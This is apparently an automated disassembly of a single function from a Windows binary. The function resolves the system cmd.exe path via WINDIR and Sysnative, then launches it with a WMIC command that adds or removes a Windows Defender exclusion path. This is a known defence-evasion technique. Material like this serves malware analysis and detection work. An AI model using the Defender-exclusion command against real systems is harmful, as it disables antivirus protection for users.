Function at 0x41deea
Capabilities:
Query environment variable

Disassembly:
push ebx
push edi
xor eax, eax
push eax
push eax
push eax
call fcn.0047f360
mov edx, dword [esp + 0x18]
lea ecx, [esp]
call fcn.0043d000
push edx
call fcn.0047f1c0
pop edx
push eax
push edx
call fcn.0047f1c0
pop edx
push eax
push 1
push dword [esp + 0xc]
call fcn.0047d550
call fcn.0047f2f0
mov edx, 0x53e37c
pop ecx
push ecx
call fcn.0043d340
mov ecx, eax
call fcn.0043d2c0
je 0x41df6a
push edx
call fcn.0047f1c0
pop edx
push eax
push edx
call fcn.0047f1c0
pop edx
push eax
push dword [esp + 8]
call fcn.0047cea0
mov ebx, eax
dec ebx
push ebx
push dword [esp + 0xc]
call fcn.0047dcb0
lea eax, [esp + 4]
push eax
call fcn.0047f260
call fcn.004656ce
mov ebx, eax
cmp ebx, 0x64
jl 0x41e174
push edx
call fcn.0047f1c0
pop edx
push eax
push edx
call fcn.0047f1c0
pop edx
push eax
push 0x3e8
call fcn.0047cca0
lea eax, [esp + 8]
push eax
call fcn.0047f260
push 0x3e8
mov eax, dword [esp + 8]
push eax
mov eax, str.WINDIR
push eax
call sub.KERNEL32.dll_GetEnvironmentVariableW
mov edx, dword [esp + 4]
push edx
call fcn.0047f1c0
pop edx
push eax
push edx
call fcn.0047f200
mov edx, 0x5481dc
push edx
call fcn.0047f200
lea eax, [esp + 0xc]
push eax
call fcn.0047f260
push edx
call fcn.0047f1c0
pop edx
push eax
mov edx, dword [esp + 8]
push edx
call fcn.0047f1c0
pop edx
push eax
push edx
call fcn.0047f200
mov edx, str.Sysnativecmd.exe
push edx
call fcn.0047f200
call fcn.0043d312
add dword [esp], edx
call fcn.00467374
call fcn.0043d330
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x41e025
jl 0x41e021
cmp ebx, 0
ja 0x41e025
xor eax, eax
jmp 0x41e02a
mov eax, 1
or eax, eax
je 0x41e057
mov edx, dword [esp + 4]
push edx
call fcn.0047f1c0
pop edx
push eax
push edx
call fcn.0047f200
mov edx, str.Sysnative
push edx
call fcn.0047f200
lea eax, [esp + 8]
push eax
call fcn.0047f260
jmp 0x41e07e
mov edx, dword [esp + 4]
push edx
call fcn.0047f1c0
pop edx
push eax
push edx
call fcn.0047f200
mov edx, 0x5481dc
push edx
call fcn.0047f200
lea eax, [esp + 8]
push eax
call fcn.0047f260
mov ebx, dword [esp + 0x1c]
and ebx, ebx
jle 0x41e0fe
push edx
call fcn.0047f1c0
pop edx
push eax
push 3
push dword [esp + 0x10]
push edx
call fcn.0047f1c0
pop edx
push eax
mov edx, str._c_WMIC__NAMESPACE:_rootMicrosoftWindowsDefender_PATH_MSFT_MpPreference_call_Add_ExclusionPath_
push edx
call fcn.0047f200
mov edx, dword [esp + 0x10]
push edx
call fcn.0047f200
mov edx, 0x53cef0
push edx
call fcn.0047f200
call fcn.0047f2f0
mov edx, dword [esp + 0x14]
push edx
call fcn.0047f1c0
pop edx
push eax
push edx
call fcn.0047f200
mov edx, str.cmd.exe
push edx
call fcn.0047f200
call fcn.0043d312
add dword [esp], edx
call fcn.0043d312
add dword [esp + 4], edx
call fcn.0045981e
call fcn.0043d330
jmp 0x41e174
push edx
call fcn.0047f1c0
pop edx
push eax
push 3
push dword [esp + 0x10]
push edx
call fcn.0047f1c0
pop edx
push eax
mov edx, str._c_WMIC__NAMESPACE:_rootMicrosoftWindowsDefender_PATH_MSFT_MpPreference_call_Remove_ExclusionPath_
push edx
call fcn.0047f200
mov edx, dword [esp + 0x10]
push edx
call fcn.0047f200
mov edx, 0x53cef0
push edx
call fcn.0047f200
call fcn.0047f2f0
mov edx, dword [esp + 0x14]
push edx
call fcn.0047f1c0
pop edx
push eax
push edx
call fcn.0047f200
mov edx, str.cmd.exe
push edx
call fcn.0047f200
call fcn.0043d312
add dword [esp], edx
call fcn.0043d312
add dword [esp + 4], edx
call fcn.0045981e
call fcn.0043d330
xor eax, eax
push dword [esp + 8]
call fcn.0047f3c0
push dword [esp + 4]
call fcn.0047f3c0
push dword [esp]
call fcn.0047f3c0
add esp, 0xc
pop edi
pop ebx
ret 8